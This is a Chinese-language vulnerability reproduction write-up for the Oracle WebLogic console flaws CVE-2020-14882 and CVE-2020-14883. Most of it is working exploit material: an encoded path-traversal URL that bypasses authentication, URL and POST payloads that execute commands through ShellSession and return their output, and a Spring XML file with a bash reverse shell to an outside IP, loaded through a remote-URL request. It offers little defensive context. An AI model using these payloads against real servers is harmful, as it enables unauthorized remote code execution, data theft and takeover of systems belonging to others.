Weblogic 管理控制台未授權遠程命令執行漏洞(CVE-2020-14882,CVE-2020-14883)
影響版本
Oracle:Weblogic:
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
漏洞環境
Weblogic 12.2.1.3
復現
1.1 CVE-2020-14883: 權限繞過漏洞
低權限的用戶訪問以下URL,通過未授權訪問到管理后台頁面
http://ip:7001/console/css/%252e%252e%252fconsole.portal
2.CVE-2020-14882: 代碼執行漏洞
此時需要利用到第二個漏洞CVE-2020-14883。這個漏洞的利用方式有兩種,一是通過`com.tangosol.coherence.mvel2.sh.ShellSession`,二是通過`com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext`。
直接訪問如下URL,即可利用`com.tangosol.coherence.mvel2.sh.ShellSession`執行命令:
```
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
```
頁面顯示的就是404,但是命令已經執行
Payload來自:https://github.com/jas502n/CVE-2020-14882
這個payload只能在Weblogic 12.2.1以上版本利用,因為10.3.6不存在com.tangosol.coherence.mvel2.sh.ShellSession類。
任意執行命令
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 45.77.127.27:7001
cmd: cat /etc/passwd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1256
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
如果這個用不了,只能另找
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext來進行使用。
需要構造一個xml文件,需要靶機能夠進行訪問,xml文件內容:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.6.100/44444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通過方式如下URL,即可讓Weblogic加載這個XML,並執行其中的payload:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 155
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.16.242.1:8989/poc.xml")
此外weblogic的漏洞還有
#控制台路徑泄露 Console #SSRF: CVE-2014-4210 #JAVA反序列化 CVE-2016-0638 CVE-2016-3510 CVE-2017-3248 CVE-2018-2628 CVE-2018-2893 CVE-2019-2725 CVE-2019-2729 CVE_2019_2890 #任意文件上傳 CVE-2018-2894 #XMLDecoder反序列化 CVE-2017-3506 CVE-2017-10271
這邊全部漏洞一一復現太久了,以后有時間再整,這時候就需要上工具了
github地址 --> https://github.com/rabbitmask/WeblogicScan
幾乎收錄了全部的weblogic漏洞,牛
From Weblogic漏洞——從入門到放棄 https://www.freebuf.com/column/197339.html

太強了家人們